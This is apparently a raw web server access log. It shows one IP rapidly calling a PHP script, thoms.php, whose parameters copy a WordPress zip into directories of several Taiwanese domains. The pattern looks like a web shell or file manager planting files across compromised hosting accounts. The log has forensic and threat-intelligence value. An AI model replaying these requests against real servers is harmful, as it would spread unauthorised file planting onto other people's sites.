45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13417 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12583 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13278 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14132 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28918 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17480 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12579 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13275 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12036 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13397 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17479 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59006 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17359 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14359 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12585 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17368 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13426 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13280 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fclient-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19050 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13601 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19382 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28641 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19039 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12578 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19381 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
